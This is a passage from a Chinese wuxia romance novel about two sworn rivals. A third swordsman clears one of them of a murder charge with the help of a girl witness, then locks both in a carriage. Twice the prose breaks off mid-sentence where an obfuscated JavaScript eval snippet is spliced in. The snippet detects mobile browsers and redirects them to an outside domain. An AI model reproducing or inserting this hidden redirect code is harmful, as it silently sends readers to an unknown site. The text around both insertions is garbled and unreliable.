竟然在空中接近了那下落到了第七层的二人! 高悠悠错愕。 郭暖律惊住。 这人是要在半空之中截杀他们么? 可那人果然出掌。 炙热的掌风在二人背上拍了一拍。 可掌风却如一道儿千钧万顷的热海巨浪,将他们两片小舟紧紧往上托举,使他们有了一挣长空、一脱虚坠之力。 高悠悠当即抱着郭暖律提气转形。 郭暖律亦配合地往下一戳剑。 软剑在巨大冲势之下猛然戳地入三尺,却终于给了郭暖律反折身躯之机,他欲用一只手抱着高悠悠在空中翻折,高悠悠却反而抱着他旋了一圈,稳稳落地后,迅速撤开几步,又迅速跑上去查看。 对视一眼。 冷厉的依然冷厉。 平静的仍旧平静。 然后有人不屑地一笑,有人冷厉地一瞪,有人好似在流血和虚弱之中依然不能忘了彼此是谁。 然后他们一起看了过去。 看的就是掌风的方向。 发出掌风的人。 那个人。 一个眉眼亲和的青年。 笑容却婉约得好像一道儿绣笔簪花。 郭暖律看见他,有些微惊,却没惊讶太久。 因为他是认识这人的。 而高悠悠看向这人,有些恼怒,却可维持很久。 因为他也认识这人的。 高悠悠当即没好脸:“你来这儿干什么?” 那青年好奇地看了一眼他们的姿势、站姿、侧姿、手和手的距离,眉眼之间的流动、以及方才因狠狠抱过而产生的衣服上的褶皱和指印。 然后他看完了,也看向了高悠悠。 他也没好脸色地,很鄙视道: “我来——就是看你死了没有。” 这句话出自一个刚刚救了两个人的人。 “没死真是太可惜,我本想在你的尸体前嘲笑几声的……” 郭暖律淡淡道:“这么讨厌的话,你也可以不出手啊。” 那青年反问:“那你为什么救他?” 郭暖律不说话,然后他就瞪住了高悠悠:“我这次怎么说也是救了你,你至少……” “我这辈子都不会和你说谢谢二字的,唐约!” 高悠悠完全不假辞色地冷冷拒绝。 被称为唐约的青年似乎早就预料到这一点,只挑了挑婉约秀气的眉,仰着微白发亮的面孔,似笑却非笑,似怒却更怒。 “放心,我来这儿可不是为了你这等烂人。” “而是为了你们这等烂人——两个一起作死的白痴!” 说完,他忽两掌直翻而出,在所有人都始料未及、意想不到、没有任何防备的时候。 一掌化戳和一指击穴。 瞬间就点向了高悠悠和郭暖律的两个人的穴道! 14.他是何人 高悠悠和唐约算是什么关系呢? 严格来说,没有关系。 第一次见面时,高悠悠和他算得上是大打出手。 后来勉勉强强遇到共同敌人,勉勉强强地联手、并肩、作战。 可还是讨厌。 高悠悠讨厌对方到连恨都懒得恨,连多余的注意力都懒得给对方。 他认为自己如果要写一本世上最薄的书,书名大概就是唐约本人的优点。 只因在他看来,唐约没一处比得上郭暖律。 郭暖律还算是真诚。 唐约却是虚伪狡诈。 郭暖律会真和高悠悠打,并让他学到很多很多。 唐约从未真和高悠悠搏杀,且能藏就藏,能躲就躲。 郭暖律折剑如折兰,展身似展缎,跃动间意气霓云,翻闪时千顷万变,看得人缭乱之际心也波颤。 唐约对高悠悠出的招多半是这小子从别的门派偷学的烂招,一招一式舞起来,几乎给高悠悠一种比臭袜子加洋葱混在一起更辣眼的感觉。 这不是因为唐约弱,他就是故意隐瞒自己的成名技,像是怕高悠悠研究出其中的破绽。 而幸运的是,唐约是个对所有人很宽和的人。 只是他不把高悠悠当人。 他认为高悠悠是个类人。 他认为如果要写一本最薄的书,书名大概是高悠悠和人的相似点。 所以二人虽不算相见两厌。 也可算是能在大半夜都互相翻白眼扔眼屎的关系。 这种纯粹地由鄙视、嫌弃、恶心构成的关系,和郭暖律和高悠悠的那种崇高可敬、温暖相杀的宿敌关系比起来。 便是天地。 云泥。 塔尖与塔底。 可是,郭暖律倒不介意去找唐约。 这倒不是因为他和唐约有什么交情,其实他谁都找,但大多数脑子正常的亲友,尤其白少央,一听他想找人帮忙把高悠悠约出来决斗,都不愿帮忙。 毕竟大家都是正经人,谁都不想去做这种缺失脑子才能去做的活儿。 可唐约不是啊。 他可愿意帮郭暖律把高悠悠约出来。 他特别特别地期待高悠悠被郭暖律暴打。 一想到高悠悠,会被郭暖律的剑鞘狠狠戳在大脑袋上,会被剑身猛烈拍在大脸颊上,会被郭暖律的大脚无情地踹在大腚上。 他就会幸福地长舒一口气。 觉得正道的光终于照在了烂人横行的世上。 高悠悠在洞阳山受伤被送入小无相山时,郭暖律就去找过唐约。 “他很久没来找我了。” 唐约的笑在亮:“多久?” 郭暖律肃然道:“整整两天!很久!” 唐约的笑无了。 他记得有送给请帖约高悠悠帮忙,但由于请帖的内容和郭暖律无关,结果就是他非常耐心地在山门外等了一个月,等来了对方派弟子回复的一个字。 滚。 郭暖律:“我知道他不常见你,但他见我却很频繁的,这次对我们来说真的很久了。” “你为什么不去山上找他?” 郭暖律想了想:“我不想打扰到他的师兄弟。” 他对高悠悠素来都很尊重。 这尊重包括对高悠悠领地的尊重,对高悠悠独处的尊重,对他的附属物比如师兄弟的尊重。 更重要的是。 他绝不希望高悠悠讨厌自己。 打扰高悠悠的人很容易被讨厌。 而唐约不同。 反正高悠悠已够讨厌唐约了,让唐约吸引积累更多的嫌恶也没什么。 所以郭暖律当时问:“你有办法引他下来么?” 唐约的笑在奸恶地发着光:“有的哦。” 说完不久,他去抱了一只浑身长满巨毛,双眼好像巨大琉璃的禽兽。 郭暖律奇怪:“猫?” 唐约笑道:“小无相山的卢掌门,年轻时就有沉迷养猫的嗜好,只因猫猫惹他分心,让他练武不专,他才忍痛把猫送给别人养,现在我找一个一模一样的猫,让你送上山道,卢掌门一见就会如故,如故就会沉迷,等他沉迷到了荒废小无相山的大好武业,你猜高悠悠他会怎样?” “他会不会气得下来找始作俑者?” “查到最后就发现——这个始作俑者是你哎!” “可是,他又能讨厌你什么呢?你只不过把一只可爱的猫猫放在最惹掌门注意的一条山道上而已。” “猫猫有什么错?” 郭暖律疑道:“这么曲折离奇……真的会有效吗?” 唐约笑道:“这个计策定会奏效!快,现在就教我一道儿剑招!要适合高手的那种!” 郭暖律连夜送上山。 那卢掌门得了替身猫,果如唐约所料得那样玩得昼夜不分,把脸埋猫毛,把胸当猫枕,把胡子拔下来当猫玩具是常事儿,全是一副荒废大业的模样。 但整整一个月了。 高悠悠楞是没下来。 唐约的一招剑法也没学会。 郭暖律疑道:“这惹的事儿是不是不太够?” 唐约想了想,无奈道:“好像确实不太够。” 于是唐约去而复返,抱了一大堆新印的书籍。 郭暖律随手一翻就有点辣眼地丢开:“这是话本?” 唐约笑到:“是的,就是话本。” “你须知卢掌门已是上一代的人了,就算真的玩物丧志又怎样?高悠悠不会太在意的。” “不在意他又怎会彻查?不查怎会下山来找你?” “所以还是得从年轻一代入手啊。” “我这里有一堆山陵笑笑生最新出炉的风月话本,只需在小无相山附近兜售,叫那些弟子们都买了去看,到时候玷污心性,搅浑道德,以至于他们练功都不用心……高悠悠肯定会有所察觉。” “察觉后,他会不会气得下来找始作俑者?” “查到最后就发现——这个始作俑者是你哎!” 郭暖律皱眉:“……可这不是你写的吗?山陵笑笑生不是你的笔名么?” 唐约轻微咳嗽道:“这不重要。重要的是要让高悠悠下山追查话本的来源,我写的不要紧,要紧的是你卖话本给他们就好了。” 郭暖律随手一看。 师徒背德话本。 师兄弟背德话本。 师姐妹背德话本。 全是背德。 全是同性。 一个异性的都没! 可这回看着靠谱。 唐约笑道:“这个计策定会奏效!快,现在再教我一道儿剑招!要适合中手的那种!” 郭暖律连夜送上山。 那弟子们得了话本,果然看得神魂颠倒不知天地为何物,尤其是那高悠悠的三师姐章未舒,看着人模人样的,居然买了一大堆的话本囤积起来。 但又是一个月了。 高悠悠还是没下来。 郭暖律忍不住道:“如此辣目浊物在弟子中间流行……为何高悠悠一点都不在意?他怎不下来查呢?” 唐约左想右想,拍案道:“我明白为什么了!” “之前的风月话本虽好,可毕竟是文字,弟子们虽沉迷,可不会沉迷太久。那高悠悠就算看到这些,恶心一阵也就罢了,不会特别在意的。” “他要是不在意这始作俑者是谁,他又怎么会下山来找你呢?” “所以啊,要下狠料!” 唐约说的狠料,也就是超越文字的感官刺激——画本! 首先画本里,大约么大概呢大体是男性与男性的某种运动。 但为了防止误伤无辜。 这里面的男性不能太像男的。 毕竟不能让人看了真想去找小倌。 这里面的男性也不能太像女的。 毕竟不能让人看了真去祸害女孩。 这里面的男性也不能太像人类。 毕竟不能让人看了真去强抱他人。 郭暖律困惑了:“那……得像谁啊?” 你不会说这里面的男性得像我或高悠悠吧? 唐约斟酌地看了对方一眼,眼看着对方那脸色是越来越怪异越来越冷酷,赶紧悬崖勒马道: “额,我觉得可以像他的几位师叔。” 毕竟这王师叔和白师叔是出了名的不做人,他俩曾拆散过一些年轻弟子的大好姻缘,拆散的原因是一个男弟子爱上了邪教的美男子,他们拆散的方式就是把那邪教的美男子极为暴力地拆了、杀了,还逼着这年轻弟子亲眼看着。 这种封建又残忍的权威,才最适合被意淫和笑话。 于是唐约立刻准备了各种强调王师叔性感臀部曲线和白师叔性感胸部曲线的光体画册。 郭暖律再再度连夜送上山。 这次大家都很期待,都很有信心。 都觉得高悠悠不可能坐视自己的长辈被人肆意地解构造谣的…… 高悠悠还是没下来。 这次唐约真的感觉到自己已经被掏空了。 而郭暖律也在此期间接连在江湖上搞出大事。 可是没有一次能把高悠悠引下来。 郭暖律忍不住有了一个想法。 是不是有什么更神秘,更特殊,更可怕诡异的原因迫使高悠悠留在山上,一呆就是半年? 就在他琢磨自己下一步该如何的时候,唐约又找到了他。 “高悠悠半年前杀了徐宴山,这次徐宴山的堂弟和他的一些门客似乎要找上门寻仇了。” 郭暖律道:“哦?” 唐约笑道:“只要这些人敢去山上挑衅,为了小无相山的名声考虑,高悠悠是一定会下山的!” 郭暖律沉默片刻,却道:“我却希望你不要放任这流言疯涨,而是用你的力量去查一查查清真相,帮他洗脱这冤屈……” 唐约皱眉:“首先,我实在讨厌他,并不想为他做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026789|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任何好事。” “第二,这样对你有好处么” “这些人若不去质问他,他就没必要为了维护名声而下山了。” “他不下山的话,万一在山上待个三年五载,甚至十年八年的,你不就永远见不到他了么?” 郭暖律想了想,认真一笑。 “我虽时时刻刻想要他的命,虽时时刻刻恨他伤我那么多回,却也实不愿见这世上的任何一人再误会于他,再往他的身上泼脏水……” “哪怕他自己是无所谓的,我看着也不舒服。” “他要是因为这些原因就不下山,不愿来找我……” “那我就去找他!” 他锋锐地一笑,面上锐得如一把一折两断的剑。 “我就去闯山,半夜三更去蹲守他的房间,耗他、探他、抱住他!” 唐约皱了老大眉:“抱……抱住他?” 好像不小心说了真话啊。 郭暖律立刻咳嗽道:“总之,查案就拜托你了。” 唐约这心情复杂地一走,倒确实是查到了什么。 可当他辛苦查案后去琉璃塔下找郭暖律,却看见对方从十三层的高塔一坠而下,且被高悠悠在半空之中截住的时候居然还有余心地去翻转身躯,心甘情愿地去做高悠悠的肉垫时…… 他是彻底无语了。 他迅疾出手,在所有人都未曾预料到的时候,急点住二人的穴道! 他先掏出金疮药的粉末,在二人的身上洒洒洒洒。 但也完全没有解穴的意思。 高悠悠冷冷道:“你到底是来干什么的?先救再抓,是想把我和郭暖律交给谁!?” 唐约厉眼一瞥他,然后看向了目光沉定的郭暖律。 你虽然叫我查案,可我未必会听你的哦。 郭暖律只淡淡一笑。 【我虽叫你查案,可愿不愿把证据拿出来却是你的主见。我尊重主见,我知道有不同观点是朋友的基础,你要是在帮高悠悠这件事上有别的主张的话,那滚吧你个没品的家伙。】 但这些话唐约是听不到的。 高悠悠却听了个全,心里热乎乎地害臊,面上却是凉森森地瞪人。 被瞪的唐约只是面色冷漠地盯着他们。 “看来你们今天是要一起生,也一起死了?” 他再度看了看高悠悠和郭暖律,然后看向了困惑的章未舒、惊异的陶然,还有警惕地握斧的商道莲、正捂舌苔的方朦河等人,甚至还有包着手臂,姗姗来迟的那位刺伤了高悠悠后背,被郭暖律挑断了手筋的那个徐宴山的堂弟——徐宴冲。 然后唐约淡淡道: “在下唐约,诸位当知道我与这高悠悠素来不睦,所以我的话我的证据更加可信,诸位可愿意一听徐宴山案的真相?想不想知道高悠悠这可恨的贼东西,是怎么杀了徐宴山的?” 有人反对:“先杀了高悠悠再说吧,等会再说案。” 有人困惑:“什么真相?不是高悠悠杀了人然后逃走的真相么?” 有人明知一切还是装糊涂:“唐大侠别在这儿管闲事了,小心高悠悠挣脱以后戳你一指头啊!” 高悠悠冷酷点头:“确实。” 郭暖律却瞪他:“你这时知道理人了?” 高悠悠一愣,却不是因为对方的话,而是因为他此刻听到的分明是…… 【当年你不理我的时候,我可是委托这位查了很久很久的案子呢……】 高悠悠却凝眉冷怒道:“可你我现在受制于他,还不能说明什么吗?” 唐约当即冷笑道:“是,我确实不喜此人,我救了他也制住他,就是因为他活该如此!” “想知道他这无情可耻的东西是怎么杀了徐宴山?” “那就看看人证吧!” 高悠悠困惑地顺着他的目光看向了前方走过来的一个人。 人证。 却是一个瘦弱的小女孩。 当年被高悠悠路过看到徐宴山在伤害在侮辱的,然后被他一指头顺手救下、带走的小女孩。 她勇敢地抬头,努力地在这群流血之地,在这群豪的惊异眼神之中,发出了自己有些嘶哑,又浓烈感激到无法抑制的声音。 “是他……是高公子救了我!” “是他在徐宴山这个畜生杀了我爹爹一家,还试图侮辱我的时候救了我!” “你们谁敢杀他,谁就是这世上最是非不分的王八蛋!大狗贼!” 高悠悠愣了。 他看了看这被随手一指救过,如今千里迢迢赶来作证,不惜暴露自己险被侮辱的小女孩,再看了看那个免费做事,免费查案,免费地微笑地看着小女孩的唐约,再看了看——那个刚刚和他一起血腥厮杀,如今一起倒霉地被点穴,一起被制住,却还是在冷漠目光里透了点温情的,发起这个查案委托的——郭暖律! 他看着这一切,这些人。 头一次这样不知所措地。 完全愣住了。 15.真心话冒险 高悠悠从未认为有人会帮自己洗冤。 尤其那个人还是自己厌恶的。 委托他的还是险些杀自己的。 可有些时候离谱的事情就是这么发生的。 有些时候不讲道理的人却在做着最讲道理的事儿。 在那女孩以感激的、真诚的眼神看了一眼他之后。 他几乎受不住。 须知高悠悠是素来横行无忌的。 他可以把最漂亮的指头戳入大汉的眉心和眼也不眨一下。 他也可以在几大邪道高手的包围下毫无畏惧地把这些人全部杀死。 可这女孩只是带感动地看了看他。 高悠悠就受不住。 几乎低下头。 他最受不了别人感激他。 还别过头。 可这一别就看到了郭暖律。 看着眼睛清透如月下冰晶的郭暖律,看着他那种冷淡得好像可以从水中捞起来又转瞬消失的讥诮笑意,高悠悠有一种更走出小熊幼崽的洞穴又马上进入狼犬窝的奇怪感觉。 他又发愣了。 因为轻轻的。 对方的那种清透的眼神,叫他在这受制于人被人围观的可怕时刻也觉得沉重的身体瞬间轻了几分。 还很好看。 对方那一抹极淡极浅的,几乎手指一抹就可以抹去的冷漠笑容,却让他在血气流失的冰冷之后,也感觉是好看的。 似乎对方明明是在冷笑,好似是轻嘲自己也好似是轻嘲这眼下的情况。 他却居然从这轻嘲之中感受到了几分暖意? 为什么? 就凭对方是郭暖律? 高悠悠有些古怪地想。 他想不明白的时候,就常常去瞪人,可他就连瞪人的样子那么认真地和稀奇,好像有人为他洗冤给他造成的不适感比有人给他栽赃的感觉还深刻,还强烈。 郭暖律却一直浅笑着盯他,眉眼一挑,像两道美丽的剑尖交叉在一起,如一道儿梦越发清晰,好像在嘲说——你呆呆的样子好蠢哦。 可是偏偏心声那边是无人的。 而与这两人的温暖暗流相对的是,忽然出现的女孩用着相对稚嫩的声音,道出了这最近最为骇人的一桩惨案。 女孩叫苏芸碧,是耿州苏家的小姐。 苏家的家主苏明堂,曾是对徐宴山有大恩的地方豪客,曾在徐宴山穷困潦倒时接济过他一把,又予他一些武功秘籍。 任谁也没有徐宴山会做这样的事。 且是在苏明堂与他一同在徐宴山的一处私宅品吃饭时,且是在苏家的女儿甜甜地叫他一声徐叔叔时,且是那一天是他们认识的二十周年时。 徐宴山下了杀手。 他上了一把钢的刀,后面有人上了一把铁的剑,两者一前一后刺入了苏家家主的后背和胸膛,以至于两把武器几乎是自前而后在对方的中央心腑会军一处。 没人想得到。 没人愿意想。 然后,他杀死了苏家家主随行的护卫、亲眷,其中有八十岁的老人和一些忠心耿耿地跟随了苏家二十年的老护卫。 进入苏府,抢走了常备的武籍、宝器、地契、银票。 掳走了那位曾甜甜叫他叔叔的女孩,而现在这女孩正在他身下方以颤动的身躯在惨叫、尖叫时。 高悠悠路过。 从屋顶上过。 别问他为什么喜欢在屋顶上走来走去,也别问为什么半夜三更的时候他会在屋顶上走来走去,反正他就是这么走了,还挑在这么个夜深人静的场合。 然后正巧碰见了杀人后正以兽行侮辱苏家小姐的徐宴山。 然后他正巧下来戳个指头。 把女孩带走。 洗干净。 交给靠谱的人士。 他也就远远走了。 整件事在苏芸碧的陈述之中,听着像一道儿越发清晰的噩梦,每一处细节的展开都伴随着一个人的骇然变色,每一个杀人方式的藐视都必定使刚才还在义愤填膺的人低下了羞愧的头颅,每一点女孩的呜咽和抽泣声儿都能让一个自以为是铁铸钢锻的七尺男儿惭缩得如一个犯错的孩童。 就连明知一切发展的唐约,方才还带着几分调笑讥意的,此刻也沉静下来,他将自己缩成一个彻头彻尾的听众,泯灭光芒,甘衬着这个声音不算大,还有点嘶哑的女孩声。 高悠悠也冷静了下来。 倾听着在场的声音。 私语。 心声。 【怎会是这样离谱的前因……】 【难道我们真的怪错了人?】 【难不成这冷面无心的小子做的还算是人事儿,我们却在助长徐宴山未消未解的兽行?”】 反思。 反省。 反什么都行,但确有一些人勉勉强强地拨反了自己敌对的立场,确实有几个人此刻选择站到了与之前相反的结论,有一些人开始觉得自己的行为越来越向公理道义的反面。 但确实也有一些矛盾的,恶毒的,几乎无法被无视的心声。 【是不是不信会更好,我们已和他结下梁子,此刻就算是冤枉,也只能冤枉到底了是不是?】 【若是就此放过他,等他挣脱穴道,会不会反过来一指一个,戳死我们啊?】 【可不能就此杀人灭口啊!难道只因得罪了人,就得把事儿做得这样绝这样恶么?】 【如果是这样,和徐宴山有什么区别?】 【——堂兄绝不会如此的!】 发最后一句心声的是徐宴冲。 偷袭过高悠悠,且被废了一只手手筋的他几乎是颤动地,无法克制地上前几步,冲着那苏芸碧怒吼道: “你是被唐约收买的,你是高悠悠的同党!你……你为什么这样污蔑我的堂兄!你有什么证据说他是杀恩忘义的凶手!?他……他怎么会看上你这种……” 苏芸碧反问道:“我这种什么?” 徐宴冲愣住。 他没见过这么淡定的指证者。 那眼神就像做错一切算漏一切栽赃陷害的人根本就是他。 她抬头冷声,双眼清明:“难道我千里迢迢而来,拼着声名不要,就是为了污蔑这个死人?” “徐宴山若是活着,污蔑他还能叫我得到些好处。” “可他都死了。” “作为苏家遗孤,污蔑他,我自己能得什么好处?” 徐宴冲愣住。 他不知道该怎么回答,只是嘶哑着,无力道:“你……你没有证据的……” 苏芸碧双眼流下泪来:“可是我有的,我有的……” 说完她忽往身上一拽,紧接着马上就要露出那雪白后背上被徐宴山的刀锋一笔一笔刻下的屈辱字眼时。 高悠悠目瞪口呆,郭暖律横眉怒看时。 却有一人飞掠而至。 把自己的外袍飞速脱下来裹住女孩。 然后温然地拍了拍她的肩。 好像一个忠诚的听众似的。 无比认真地说: “如果要证明自己清白需要你这样的女孩把衣衫脱下的话……那我们在场的所有人,都该把自己的眼戳瞎才是……” 苏芸碧一愣。 唐约抬起头,温和且礼貌地看了周围的一圈人。 “听了这些,还有要为徐宴山报仇的人,还有要寻高悠悠和郭暖律麻烦的人么?” “麻烦全站出来吧。” “不然,我一个个地打过去也太麻烦了。” 却没有人愿意减少他的麻烦。 也没有人愿意成为这个麻烦。 大家互看了几句,有的人看了看彼此的伤,有的人看了看高悠悠的伤,有心有不甘的,有骂骂咧咧的。 但都选择走了。 全走。 都撤。 只留下一个瘫跌在地,语无伦次地说着什么的徐宴冲。 唐约也懒得理他,只冲着那舒了一口气的章未舒和陶然自得地看戏的陶然点了点头。 点得章未舒有些迷惑,但还是笑道:“唐大侠为我师弟洗冤,为小无相山出声,当真是多谢啊!” 陶然也安然一笑地抬手作揖:“唐大侠及时救下高师兄,就是我小无相山的恩人了,还请你……” 高悠悠冷冷打断:“我并没同意他救我,也没委托他为我洗冤,要谢要请你们自己去做,别拉上我……” 二人皆是一愣。 唐约早有预料地冷笑一分。 章未舒只得看向那郭暖律:“不是师弟委托的,那想必就是你……是你替悠悠他……” 郭暖律也冷冷打断:“我也没拜托过唐约,他救我是我的事儿,但他救高悠悠,替高悠悠查案却和我全无关系,要谢你就自己谢他,别拉上我……” 高悠悠挑着眉,要不是他刚才把心声听了个分明就全相信了呢,目前为止唐约完全没有否认的样子,看来这二人早就说好了保密? 他偏偏冷漠道:“你为什么撒谎?” 郭暖律一愣,冷脸道:“什么谎?” 高悠悠本可以糊弄过去。 他在过去的每一次都是这么配合对方的糊弄的。 可这一次,非是生死交托,下坠相抱,且此刻相信相看时,他偏偏正经地,认真地,不解道:“明明是你发的委托,你为什么要装作这一切和你全无关系?” “难道你做了好事,就偏不愿人知?还是你的性子扭曲,天生就怕人感激?” 郭暖律被他问了怔了一怔。 像是已经习惯了某种程度的高悠悠。 可高悠悠忽然决定不那么高悠悠了。 把他看得有些懵了怔了,心里强装的冷漠仿如难以维系的堤坝和堡垒正迸出一道道难以忽视的裂痕。 可面上,他却依旧漠然:“我真不知你喜欢自作多情。” 【情好真啊……真不知悠悠凭什么就看穿了我这种完美无瑕的伪装?】 高悠悠冷冷道:“你以为自己伪装得很厉害,很成功了?做了好事儿却喜欢瞒着人受冷待,你和一个喜欢自我感动的蠢货有什么区别?” 郭暖律先是一愣。 随即跳出冷笑:“我真不知你竟是这样喜妄想、爱作痴的人。” 心底里那个清甜的声音又出来了。 【人啊……人怎么能把自己的缺点栽在别人头上?明明你才是那个喜欢做了好事儿默默不说的人啊。】 这下轮到高悠悠一愣。 郭暖律则冷笑道:“怎么?被我说中了?自作多情的人?” 可心底里那个温和清明的少年声却一直在响。 【明明是你先不替自己辩白,明明是你最怕别人感激你,最怕有人真心地待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035508|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,我不过是学你——我揪你的尾巴,你倒以为我多生了几根和你一样的尾巴?】 高悠悠先是困惑,然后怒道:“你……你这样心口不一,小心我真把你嘴上的话当真,小心我不念你的恩,继续杀你,报复你!” 郭暖律冷冷道:“我们之间,不是一直这样么?” 【你在念我的恩?】 【可是……明明是你一直努力地在救我啊。】 【你难道不记得了,其实你本来可以……】 高悠悠愣住。 他什么时候救对方了? 什么叫不记得……什么叫本来可以…… 想不过去,高悠悠则冷冷道:“你这厮最是可恨,别以为你找了唐约来我就念你和他的情……” 郭暖律冷笑:“我从头到尾都没委托过他任何事,你为什么一定要‘栽赃’到我的头上来?他是‘自愿’为你的!你看不出他其实对你……” 高悠悠头皮发麻道:“说这么恶心人的话做什么!什么自愿不自愿?明明从头到尾都是你……没你撺掇教唆的话,唐约根本不可能主动为了我……” 郭暖律翻了个白眼:“你是有什么毛病?我撺掇教唆他来救你来为你洗冤?自恋成你这样真是罕见,竟以为你的敌人会暗恋你吗?” 高悠悠冷笑:“是,一个人自恋成你这样也是咄咄怪事,竟以为你的敌人会感激你,你当自己找了个烂人来帮我,我就会理所当然地领你的情?可被你和唐约帮过是我高悠悠人生最大的耻辱之一,不,也许没有之一……” 郭暖律冷笑:“耻辱么?耻辱好啊!这种耻辱明明是你先给我的,明明是你在可以杀死我的人选择了放过,是你在可以放任我掉下去的时候选择了追上来!是你先……” 高悠悠丝毫不怵地冷对回去:“我先?第一次见面时明明是你选了救我!你救我本就是冒犯,你竟敢抱——!” 唐约:“……” 章未舒:“……” 陶然:“…………” 苏芸碧困惑地看了看眼前的一切。 为什么……这么好看又亲密的两个大哥哥,要吵架啊? 眼见他俩吵着到最后仿佛只剩下了彼此,而且还开始攻击起一旁的唐约来,而且越说越离谱,离谱得就好像唐约是个可以被随便丢来丢去的借口。 唐约彻底恼了。 “喂,你们……是不是忘了什么?” 两个人还在嘲和吵。 唐约打算冷笑地威胁:“我且告诉你,你们的穴道现在还被我点着……” 两个人继续嘲和吵。 唐约实在有点绷不住了:“你们还没脱离险境,须知我现在随时可以把你们给……” “给我滚出去!”这是冷怒的高悠悠。 “关你什么事?”这是漠然的郭暖律。 然后他们又开始互相戳雷点伤一般吵起来了。 唐约惊了:“……” 自己辛苦把人证千里迢迢地带来,还冲上去救了人…… 这俩,这俩货…… 拿自己当润滑的使呢? 他以极深的爆怒和极冤种的自觉看了一眼二人,然后看向了一旁一脸茫然到好像听到了什么惊天大闻的章陶二人,拱了拱手,冷漠且礼貌道。 “这俩人都得罪我不浅,我不能这么放过他们,对不住章姑娘,苏姑娘就托你看顾了!” 说完也不理章未舒的困惑和陶然的奇怪,唐约先示意苏芸碧遮一下鼻子,然后在小姑娘懵懵地照做之后,他直接手一抬。 往原地砸了一个小爆小裂的烟雾弹下去。 烟尘弥漫之际,他一手按在高悠悠的肩,一手拉在郭暖律的臂,直接点足一跃,竟能凭着莫大的热力往上一飞,且手中丝毫不慢。 高悠悠这才惊觉地看他一眼。 这家伙比起一年前初见,内力又深进了! 郭暖律这才奇怪地看他一眼。 这家伙似乎还有别的事儿等着他们去做? 唐约冷笑一声,笑起笑落间隙他们已在屋顶上三起三落,这人竟凭着不俗的内力始终能把二人维系在自己身侧,却落地的时候还稳稳地不伤任何一人,等高悠悠和郭暖律站定时,他们发现眼前已有一辆马车。 下一刻,二人都被推进了马车。 车外立被锁住。 这下郭暖律都奇怪了。 高悠悠也冷眼看去。 “你到底想做什么?” 门外那人只淡笑一声。 “高悠悠虽说话难听,但说对了一点,我对你俩从来也没安什么好心,可姓郭的利用我对你的厌恶去帮你,所以我现在更厌恶你了,也厌恶起还有偏帮你的他了……” 明明该感觉到危险。 高悠悠却迅速地几乎有些小得意地瞪了郭暖律一眼,完全是一副“你看吧你看吧我就说”的样,郭暖律则迅速回瞪以作礼貌,也是一副“你愚蠢你自作多情我冷酷无情”的沉定样儿。 门外那人只静静听了会儿,随即按下声色,漠然冷笑道: “不妨看看这马车里是什么……” “如果你俩今晚不通力合作,互相疗伤,闯出此门的话……” “那么接下来……” 那人声音冷漠得就好似在给地主打一场看不见的短工: “点上你俩全身的穴,脱个赤光,绑在一起。” 16.马车内的二人 门外那道荒唐的声音过后,就再也没有了任何声响。 仿佛万籁皆寂,针落可闻,马车内部只剩一个男人和另一个男人的呼吸声,在此起彼伏地响,在你牵我动地起。 高悠悠瞪了一眼冷漠耸肩的郭暖律,然后看向了马车内部。 可与其说这个是马车内……说是行宫内部还差不多。 内部竟然宽敞异常,容纳得下一张紫檀木制雕龙画凤的大床,容得下几个玳瑁云母的柜子,甚至容得供人躺着的过道,容得下水盆、脸巾、绷带、草药、吃食等一系列产物,连每个需要看见的角落都盛放了发着幽幽荧光的萤石,甚至连恭桶净室都有。 这哪像个马车内部啊? 这和一座可移动的豪华行宫有什么区别? 高悠悠把厉眼扫了一圈,立刻收回,试探过马车的内壁和外门,全为玄铁所制,唯一的出风口和头顶的铁栏和门下的缝隙,看来这不单单是移动行宫,当做是安全屋也未尝不可。 唐约这是从哪个穷奢极欲的恶人手里抢来的这座马车,竟然能当做他二人的囚室? 他也不回头看身后的郭暖律,只是有些微恼道:“他说需要你我合作闯出这道门……” “可我最厌恶听人摆布。” “就算要合作我也不会和你这种……这种时候你在干什么! ?” 他听到声响立刻回头,却惊恐地发现——郭暖律已自顾自地脱了黛绿色的一身劲装衣衫,将矫健有力的上半身露在身前,如一脉山水匀了蜜水糖浆,在绿莹莹的光线下,呈出一种澎湃的生命力在肌腱之间吟唱与跃动的力劲儿。 高悠悠皱了皱眉。 郭暖律却好像看不见他似的,旁若无人地往身上倒金疮药,止血,包扎伤口。 高悠悠还是在皱眉。 同时装作自己没有在瞧他。 郭暖律熟练地包扎完了肩膀的伤口,然后漠然地抬头,看向高悠悠。 “到你了。” 高悠悠道:”什么叫到我了?” 郭暖律淡淡道:“你是失血过多脑子都昏沉了?” “你肩上这处伤,背后的旧伤,手上的轻微擦伤,不需上药,不需要换绷带的么?” 这家伙这么说……难道是想帮自己换? 郭暖律冷淡道:“我不会帮你换的。” “上次帮你换药包扎,是因为你莫名其妙在指下放过了我,你冒犯了我。我便以救你的名义去冒犯你。” “可这次……你这杀人的手下得够利索,好几次险些要了我的命。” 【悠悠,我的腕被你的指风伤了,我有点抖,包不好的。】 “所以这一次,你当宿敌当得很称职、很用心。” 【但是这场舞我跳得真的很开心,这都多谢你!】 高悠悠一愣。 明明面上是冷淡的拒人,可这心底那掩饰不住的少年音色如此纯粹、如此甜美,竟不使他觉得突兀,只觉得有一种被表扬、被夸赞的开心感,悄咪咪地从角落冒出来。 